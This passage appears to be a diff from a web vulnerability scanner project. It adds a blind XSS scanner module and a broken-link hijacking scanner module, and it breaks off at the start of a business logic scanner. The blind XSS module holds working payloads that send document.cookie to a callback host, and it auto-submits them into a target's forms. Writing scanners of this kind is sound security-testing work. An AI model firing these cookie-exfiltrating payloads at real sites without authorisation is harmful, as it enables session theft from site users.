|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import re
|
| 2 |
+
import urllib.request
|
| 3 |
+
import urllib.parse
|
| 4 |
+
|
| 5 |
+
from scanners.base_scanner import BaseScanner, XSS_CALLBACK_URL
|
| 6 |
+
|
| 7 |
+
BLIND_XSS_PAYLOADS = [
|
| 8 |
+
f'"><script src="{XSS_CALLBACK_URL}/xss.js"></script>',
|
| 9 |
+
f"';new Image().src='{XSS_CALLBACK_URL}/?c='+document.cookie//",
|
| 10 |
+
f'"><img src=x onerror="fetch(\'{XSS_CALLBACK_URL}/?c=\'+btoa(document.cookie))">',
|
| 11 |
+
]
|
| 12 |
+
|
| 13 |
+
FORM_INPUT_TYPES = ["text", "email", "search", "url", "tel", "textarea"]
|
| 14 |
+
|
| 15 |
+
|
| 16 |
+
class BlindXssScanner(BaseScanner):
|
| 17 |
+
SCANNER_NAME = "Blind XSS (Out-of-Band) Scanner"
|
| 18 |
+
_SCANNER_KEY = "blind_xss"
|
| 19 |
+
|
| 20 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 21 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 22 |
+
|
| 23 |
+
def run(self) -> list:
|
| 24 |
+
self.log("INFO", f"[BlindXSS] Injecting blind XSS payloads into forms on {self.target}...")
|
| 25 |
+
self.log("INFO", f"[BlindXSS] Using callback URL: {XSS_CALLBACK_URL}")
|
| 26 |
+
try:
|
| 27 |
+
req = urllib.request.Request(
|
| 28 |
+
self.target, headers=self._make_headers()
|
| 29 |
+
)
|
| 30 |
+
with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
|
| 31 |
+
html = r.read().decode("utf-8", errors="ignore")
|
| 32 |
+
except Exception as e:
|
| 33 |
+
self.log("WARNING", f"[BlindXSS] Error: {e}")
|
| 34 |
+
return self.vulns
|
| 35 |
+
|
| 36 |
+
forms = self._parse_forms(html)
|
| 37 |
+
if not forms:
|
| 38 |
+
self.log("INFO", "[BlindXSS] No forms found to inject into.")
|
| 39 |
+
return self.vulns
|
| 40 |
+
|
| 41 |
+
injected_endpoints = []
|
| 42 |
+
for form in forms[:5]:
|
| 43 |
+
action = form.get("action") or self.target
|
| 44 |
+
if not action.startswith("http"):
|
| 45 |
+
from urllib.parse import urljoin
|
| 46 |
+
action = urljoin(self.target, action)
|
| 47 |
+
fields = form.get("fields", [])
|
| 48 |
+
if not fields:
|
| 49 |
+
continue
|
| 50 |
+
payload = BLIND_XSS_PAYLOADS[0]
|
| 51 |
+
post_data = {}
|
| 52 |
+
for field in fields:
|
| 53 |
+
field_type = field.get("type", "text").lower()
|
| 54 |
+
if field_type in FORM_INPUT_TYPES:
|
| 55 |
+
post_data[field["name"]] = payload
|
| 56 |
+
elif field_type == "hidden":
|
| 57 |
+
post_data[field["name"]] = field.get("value", "")
|
| 58 |
+
elif field_type == "email":
|
| 59 |
+
post_data[field["name"]] = "test@test.com" + payload
|
| 60 |
+
if post_data:
|
| 61 |
+
try:
|
| 62 |
+
data = urllib.parse.urlencode(post_data).encode()
|
| 63 |
+
req = urllib.request.Request(
|
| 64 |
+
action,
|
| 65 |
+
data=data,
|
| 66 |
+
method=form.get("method", "POST").upper(),
|
| 67 |
+
headers={
|
| 68 |
+
"User-Agent": "LarShield/2.0",
|
| 69 |
+
"Content-Type": "application/x-www-form-urlencoded",
|
| 70 |
+
},
|
| 71 |
+
)
|
| 72 |
+
urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context())
|
| 73 |
+
injected_endpoints.append(action)
|
| 74 |
+
self.log("INFO", f"[BlindXSS] Payload injected into: {action}")
|
| 75 |
+
except Exception as e:
|
| 76 |
+
self.log("ERROR", f"[BlindXSS] Injection error: {e}")
|
| 77 |
+
injected_endpoints.append(action + " (injection attempted)")
|
| 78 |
+
|
| 79 |
+
if injected_endpoints:
|
| 80 |
+
self.add_vuln(
|
| 81 |
+
title=f"Blind XSS Payloads Submitted to {len(injected_endpoints)} Form(s) — Awaiting Callback",
|
| 82 |
+
severity="Low",
|
| 83 |
+
category="Blind XSS",
|
| 84 |
+
cvss_score=0.0,
|
| 85 |
+
confidence="Low",
|
| 86 |
+
description=(
|
| 87 |
+
f"Out-of-band XSS payloads were submitted to {len(injected_endpoints)} form endpoint(s).\n"
|
| 88 |
+
f"Callback listener configured at: {XSS_CALLBACK_URL}\n\n"
|
| 89 |
+
+ "\n".join(f"- `{e}`" for e in injected_endpoints)
|
| 90 |
+
+ "\n\n**This is NOT a confirmed finding.** Blind XSS requires an external callback "
|
| 91 |
+
"to verify execution. Monitor your XSS hunter / callback server for incoming "
|
| 92 |
+
f"requests from `{XSS_CALLBACK_URL}`. If a callback is received, escalate to Critical."
|
| 93 |
+
),
|
| 94 |
+
remediation=(
|
| 95 |
+
"1. If a callback IS received: Apply output encoding on ALL stored user data rendered in admin panels.\n"
|
| 96 |
+
"2. Implement a strict CSP on admin interfaces.\n"
|
| 97 |
+
"3. Use DOMPurify on any admin UI that renders user-submitted content.\n"
|
| 98 |
+
"4. If no callback is received within 24h, the forms are likely not vulnerable."
|
| 99 |
+
),
|
| 100 |
+
)
|
| 101 |
+
else:
|
| 102 |
+
self.log("SUCCESS", "[BlindXSS] No injectable forms found.")
|
| 103 |
+
return self.vulns
|
| 104 |
+
|
| 105 |
+
def _parse_forms(self, html):
|
| 106 |
+
forms = []
|
| 107 |
+
for form_html in re.findall(r"<form[^>]*>.*?</form>", html, re.S | re.I):
|
| 108 |
+
action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
|
| 109 |
+
method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
|
| 110 |
+
fields = []
|
| 111 |
+
for inp in re.findall(r"<(?:input|textarea)[^>]*>", form_html, re.I):
|
| 112 |
+
name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I)
|
| 113 |
+
type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I)
|
| 114 |
+
val_m = re.search(r'value=["\']([^"\']*)["\']', inp, re.I)
|
| 115 |
+
if name_m:
|
| 116 |
+
fields.append({
|
| 117 |
+
"name": name_m.group(1),
|
| 118 |
+
"type": type_m.group(1) if type_m else "text",
|
| 119 |
+
"value": val_m.group(1) if val_m else "",
|
| 120 |
+
})
|
| 121 |
+
forms.append({
|
| 122 |
+
"action": action.group(1) if action else "",
|
| 123 |
+
"method": method.group(1) if method else "POST",
|
| 124 |
+
"fields": fields,
|
| 125 |
+
})
|
| 126 |
+
return forms
|
backend/scanners/broken_link_scanner.py
ADDED
|
@@ -0,0 +1,256 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import re
|
| 2 |
+
import socket
|
| 3 |
+
import urllib.request
|
| 4 |
+
import urllib.error
|
| 5 |
+
from urllib.parse import urlparse
|
| 6 |
+
from scanners.base_scanner import BaseScanner
|
| 7 |
+
|
| 8 |
+
HIJACK_RISK = {
|
| 9 |
+
"script": {"weight": 5, "desc": "JavaScript — full XSS capability"},
|
| 10 |
+
"link": {"weight": 4, "desc": "CSS stylesheet — content injection, form hijacking"},
|
| 11 |
+
"iframe": {"weight": 4, "desc": "iframe — page content takeover"},
|
| 12 |
+
"src": {"weight": 3, "desc": "Embedded resource (image/font/object)"},
|
| 13 |
+
"href": {"weight": 2, "desc": "Hyperlink — reputation/phishing risk"},
|
| 14 |
+
}
|
| 15 |
+
|
| 16 |
+
EXTERNAL_PATTERNS = [
|
| 17 |
+
(r'<script[^>]+src=["\'](https?://[^"\'>\s]+)', "script"),
|
| 18 |
+
(r'<link[^>]+href=["\'](https?://[^"\'>\s]+\.css[^"\'>\s]*)', "link"),
|
| 19 |
+
(r'<iframe[^>]+src=["\'](https?://[^"\'>\s]+)', "iframe"),
|
| 20 |
+
(r'<img[^>]+src=["\'](https?://[^"\'>\s]+)', "src"),
|
| 21 |
+
(r'<source[^>]+src=["\'](https?://[^"\'>\s]+)', "src"),
|
| 22 |
+
(r'@import\s+["\'](https?://[^"\'>\s]+)', "link"),
|
| 23 |
+
(r'url\(["\']?(https?://[^"\'>\s]+)', "src"),
|
| 24 |
+
(r'<a[^>]+href=["\'](https?://[^"\'>\s]+)', "href"),
|
| 25 |
+
]
|
| 26 |
+
|
| 27 |
+
DANGEROUS_RESOURCE_EXTS = {".js", ".css", ".woff", ".woff2", ".ttf", ".eot", ".svg", ".ico"}
|
| 28 |
+
|
| 29 |
+
COMMON_CNAME_TAKEOVER_SIGNATURES = [
|
| 30 |
+
"herokudns.com", "herokuapp.com", "heroku.com",
|
| 31 |
+
"cloudfront.net", "s3.amazonaws.com", "s3-website",
|
| 32 |
+
"github.io", "githubusercontent.com",
|
| 33 |
+
"unbouncepages.com", "unbounce.com",
|
| 34 |
+
"surge.sh", "netlify.app", "netlify.com",
|
| 35 |
+
"pages.dev", "workers.dev",
|
| 36 |
+
"azureedge.net", "azurewebsites.net", "trafficmanager.net",
|
| 37 |
+
"elb.amazonaws.com", "us-east-1.elb.amazonaws.com",
|
| 38 |
+
"firebaseapp.com", "web.app",
|
| 39 |
+
"wordpress.com", "wpengine.com",
|
| 40 |
+
"squarespace.com", "squarespaceusercontent.com",
|
| 41 |
+
"myshopify.com", "shopify.com",
|
| 42 |
+
"bilohost.com", "pantheonsite.io",
|
| 43 |
+
"aftership.com", "ghost.io",
|
| 44 |
+
"fastly.net", "glitch.me",
|
| 45 |
+
"bitbucket.io", "readme.io",
|
| 46 |
+
"statuspage.io", "atlassian.net",
|
| 47 |
+
"myshopify.io", "teachable.com",
|
| 48 |
+
"thinkific.com", "clickfunnels.com",
|
| 49 |
+
"cargocollective.com", "tictail.com",
|
| 50 |
+
"zendesk.com", "freshdesk.com",
|
| 51 |
+
"helpscout.net", "intercom.io",
|
| 52 |
+
]
|
| 53 |
+
|
| 54 |
+
EXPIRED_REGISTRAR_INDICATORS = [
|
| 55 |
+
"this domain", "domain is parked", "buy this domain",
|
| 56 |
+
"domain is for sale", "expired", "registrar",
|
| 57 |
+
"whois protection", "this domain may be for sale",
|
| 58 |
+
"domain not found", "no website configured",
|
| 59 |
+
"server dns address could not be found",
|
| 60 |
+
"this site is not available",
|
| 61 |
+
"this domain registration",
|
| 62 |
+
"pending renewal",
|
| 63 |
+
]
|
| 64 |
+
|
| 65 |
+
|
| 66 |
+
class BrokenLinkScanner(BaseScanner):
|
| 67 |
+
SCANNER_NAME = "Broken Link Hijacking Scanner"
|
| 68 |
+
_SCANNER_KEY = "broken_link"
|
| 69 |
+
|
| 70 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 71 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 72 |
+
self._page_html = ""
|
| 73 |
+
self._resources: list[dict] = []
|
| 74 |
+
|
| 75 |
+
def run(self) -> list:
|
| 76 |
+
self.log("INFO", f"[BrokenLink] Scanning {self.target} for hijackable external resources...")
|
| 77 |
+
self._fetch_page()
|
| 78 |
+
if not self._page_html:
|
| 79 |
+
return self.vulns
|
| 80 |
+
self._extract_external_resources()
|
| 81 |
+
self._audit_resource_domains()
|
| 82 |
+
self._check_unregistered_domains()
|
| 83 |
+
self._check_nxdomain_resources()
|
| 84 |
+
return self.vulns
|
| 85 |
+
|
| 86 |
+
def _fetch_page(self):
|
| 87 |
+
try:
|
| 88 |
+
body, code = self._make_request(self.target, timeout=10)
|
| 89 |
+
if body:
|
| 90 |
+
self._page_html = body
|
| 91 |
+
except Exception as e:
|
| 92 |
+
self.log("ERROR", f"[BrokenLink] Fetch failed: {e}")
|
| 93 |
+
|
| 94 |
+
def _extract_external_resources(self):
|
| 95 |
+
found = set()
|
| 96 |
+
for pattern, rtype in EXTERNAL_PATTERNS:
|
| 97 |
+
for match in re.finditer(pattern, self._page_html, re.I):
|
| 98 |
+
url = match.group(1).split('"')[0].split("'")[0].split(">")[0].strip()
|
| 99 |
+
if self.domain not in url and url not in found:
|
| 100 |
+
found.add(url)
|
| 101 |
+
self._resources.append({"url": url, "type": rtype})
|
| 102 |
+
self.log("INFO", f"[BrokenLink] Found {len(self._resources)} external resource(s)")
|
| 103 |
+
|
| 104 |
+
def _audit_resource_domains(self):
|
| 105 |
+
for res in self._resources:
|
| 106 |
+
self._check_resource(res)
|
| 107 |
+
|
| 108 |
+
def _check_resource(self, res: dict):
|
| 109 |
+
url = res["url"]
|
| 110 |
+
parsed = urlparse(url)
|
| 111 |
+
hostname = parsed.hostname or ""
|
| 112 |
+
rtype = res["type"]
|
| 113 |
+
base_weight = HIJACK_RISK.get(rtype, {}).get("weight", 1)
|
| 114 |
+
ext = self._get_extension(url)
|
| 115 |
+
is_js_or_css = ext in DANGEROUS_RESOURCE_EXTS
|
| 116 |
+
|
| 117 |
+
status, body, resolved = self._probe_resource(url)
|
| 118 |
+
if status is None:
|
| 119 |
+
return
|
| 120 |
+
|
| 121 |
+
indicators = []
|
| 122 |
+
if status in (404, 410):
|
| 123 |
+
indicators.append(f"HTTP {status} Not Found — resource missing")
|
| 124 |
+
elif status in (403, 401):
|
| 125 |
+
indicators.append(f"HTTP {status} — access denied, may be misconfigured")
|
| 126 |
+
elif status == 200 and self._is_expired_landing(body):
|
| 127 |
+
indicators.append("HTTP 200 with domain-parked/expired content")
|
| 128 |
+
|
| 129 |
+
if not resolved:
|
| 130 |
+
nx = self._check_nxdomain(hostname)
|
| 131 |
+
if nx == "nxdomain":
|
| 132 |
+
indicators.append("DNS NXDOMAIN — domain does not exist")
|
| 133 |
+
elif nx == "takeover_candidate":
|
| 134 |
+
cname = self._get_cname(hostname)
|
| 135 |
+
indicators.append(f"CNAME to known takeover-vulnerable service ({cname}) — hijackable")
|
| 136 |
+
base_weight = min(base_weight + 2, 5)
|
| 137 |
+
|
| 138 |
+
if not indicators:
|
| 139 |
+
return
|
| 140 |
+
|
| 141 |
+
severity = self._severity_from_weight(base_weight)
|
| 142 |
+
cvss = self._cvss_from_weight(base_weight, len(indicators), is_js_or_css)
|
| 143 |
+
|
| 144 |
+
self.add_vuln(
|
| 145 |
+
title=f"Broken Link Hijacking — {url[:80]}",
|
| 146 |
+
severity=severity,
|
| 147 |
+
category="Broken Link Hijacking",
|
| 148 |
+
cvss_score=cvss,
|
| 149 |
+
description=(
|
| 150 |
+
f"External {rtype} resource hijackable:\n"
|
| 151 |
+
f" URL: {url}\n"
|
| 152 |
+
f" Type: {HIJACK_RISK.get(rtype, {}).get('desc', rtype)}\n"
|
| 153 |
+
f" Indicators:\n" + "\n".join(f" - {i}" for i in indicators)
|
| 154 |
+
),
|
| 155 |
+
remediation=(
|
| 156 |
+
"Remove or replace the resource. For critical JS/CSS/fonts, "
|
| 157 |
+
"self-host or use a integrity-managed CDN (SRI). "
|
| 158 |
+
"Monitor external dependencies for expiration."
|
| 159 |
+
),
|
| 160 |
+
evidence=f"Resource URL: {url}\n" + "\n".join(indicators),
|
| 161 |
+
payload="",
|
| 162 |
+
request_details=f"GET {url}",
|
| 163 |
+
response_details=f"HTTP {status}, body length {len(body or '')}",
|
| 164 |
+
confidence="Confirmed" if base_weight >= 4 else "High",
|
| 165 |
+
)
|
| 166 |
+
|
| 167 |
+
def _probe_resource(self, url: str) -> tuple[int | None, str | None, bool]:
|
| 168 |
+
try:
|
| 169 |
+
body, code = self._make_request(url, timeout=6)
|
| 170 |
+
if code and code < 400 and body:
|
| 171 |
+
return code, body, True
|
| 172 |
+
return code, body, False
|
| 173 |
+
except Exception:
|
| 174 |
+
return None, None, False
|
| 175 |
+
|
| 176 |
+
def _check_unregistered_domains(self):
|
| 177 |
+
domains = set()
|
| 178 |
+
for res in self._resources:
|
| 179 |
+
host = urlparse(res["url"]).hostname
|
| 180 |
+
if host:
|
| 181 |
+
domains.add(host)
|
| 182 |
+
for domain in domains:
|
| 183 |
+
nx = self._check_nxdomain(domain)
|
| 184 |
+
if nx:
|
| 185 |
+
desc = "NXDOMAIN — domain not registered" if nx == "nxdomain" else f"CNAME to vulnerable service ({self._get_cname(domain)})"
|
| 186 |
+
cvss = 5.3 if nx == "nxdomain" else 7.5
|
| 187 |
+
self.add_vuln(
|
| 188 |
+
title=f"Expired External Domain — {domain}",
|
| 189 |
+
severity="High" if nx == "takeover_candidate" else "Medium",
|
| 190 |
+
category="Broken Link Hijacking",
|
| 191 |
+
cvss_score=cvss,
|
| 192 |
+
description=f"External domain {domain} referenced by page resources: {desc}. Attacker can register this domain and serve malicious content.",
|
| 193 |
+
remediation="Remove references to this domain or ensure it remains registered and controlled.",
|
| 194 |
+
evidence=f"Domain: {domain}\nDNS result: {desc}",
|
| 195 |
+
confidence="High",
|
| 196 |
+
)
|
| 197 |
+
|
| 198 |
+
def _check_nxdomain_resources(self):
|
| 199 |
+
pass
|
| 200 |
+
|
| 201 |
+
def _check_nxdomain(self, hostname: str) -> str | None:
|
| 202 |
+
hostname = hostname.lower().strip()
|
| 203 |
+
try:
|
| 204 |
+
socket.getaddrinfo(hostname, 80, socket.AF_INET)
|
| 205 |
+
cname = self._get_cname(hostname)
|
| 206 |
+
if cname:
|
| 207 |
+
for sig in COMMON_CNAME_TAKEOVER_SIGNATURES:
|
| 208 |
+
if sig in cname:
|
| 209 |
+
return "takeover_candidate"
|
| 210 |
+
return self.vulns
|
| 211 |
+
except socket.gaierror:
|
| 212 |
+
pass
|
| 213 |
+
try:
|
| 214 |
+
socket.getaddrinfo(hostname, 80, socket.AF_INET6)
|
| 215 |
+
return self.vulns
|
| 216 |
+
except socket.gaierror:
|
| 217 |
+
return "nxdomain"
|
| 218 |
+
|
| 219 |
+
def _get_cname(self, hostname: str) -> str:
|
| 220 |
+
try:
|
| 221 |
+
result = socket.getaddrinfo(hostname, 80, socket.AF_INET)
|
| 222 |
+
for res in result:
|
| 223 |
+
canon = res[3]
|
| 224 |
+
if canon and canon != hostname and not canon.startswith("("):
|
| 225 |
+
return canon
|
| 226 |
+
except Exception:
|
| 227 |
+
pass
|
| 228 |
+
return ""
|
| 229 |
+
|
| 230 |
+
def _get_extension(self, url: str) -> str:
|
| 231 |
+
path = urlparse(url).path.lower()
|
| 232 |
+
match = re.search(r'(\.[a-z0-9]+)(?:\?|#|$)', path)
|
| 233 |
+
return match.group(1) if match else ""
|
| 234 |
+
|
| 235 |
+
def _is_expired_landing(self, body: str | None) -> bool:
|
| 236 |
+
if not body:
|
| 237 |
+
return False
|
| 238 |
+
body_lower = body.lower()
|
| 239 |
+
matches = sum(1 for ind in EXPIRED_REGISTRAR_INDICATORS if ind in body_lower)
|
| 240 |
+
return matches >= 2
|
| 241 |
+
|
| 242 |
+
def _severity_from_weight(self, w: int) -> str:
|
| 243 |
+
if w >= 5:
|
| 244 |
+
return "Critical"
|
| 245 |
+
if w >= 4:
|
| 246 |
+
return "High"
|
| 247 |
+
if w >= 3:
|
| 248 |
+
return "Medium"
|
| 249 |
+
return "Low"
|
| 250 |
+
|
| 251 |
+
def _cvss_from_weight(self, weight: int, indicators: int, is_js: bool) -> float:
|
| 252 |
+
base = 3.0 + weight * 1.2
|
| 253 |
+
if is_js:
|
| 254 |
+
base += 1.5
|
| 255 |
+
base += indicators * 0.3
|
| 256 |
+
return round(min(base, 10.0), 1)
|
backend/scanners/business_logic_scanner.py
ADDED
|
@@ -0,0 +1,493 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
business_logic_scanner.py — Business Logic Vulnerability Scanner
|
| 3 |
+
================================================================
|
| 4 |
+
Advanced business logic flaw detection module.
|
| 5 |
+
|
| 6 |
+
This scanner:
|
| 7 |
+
1. Tests for coupon abuse and discount manipulation
|
| 8 |
+
2. Detects privilege escalation through business logic
|
| 9 |
+
3. Tests for payment bypass and price manipulation
|
| 10 |
+
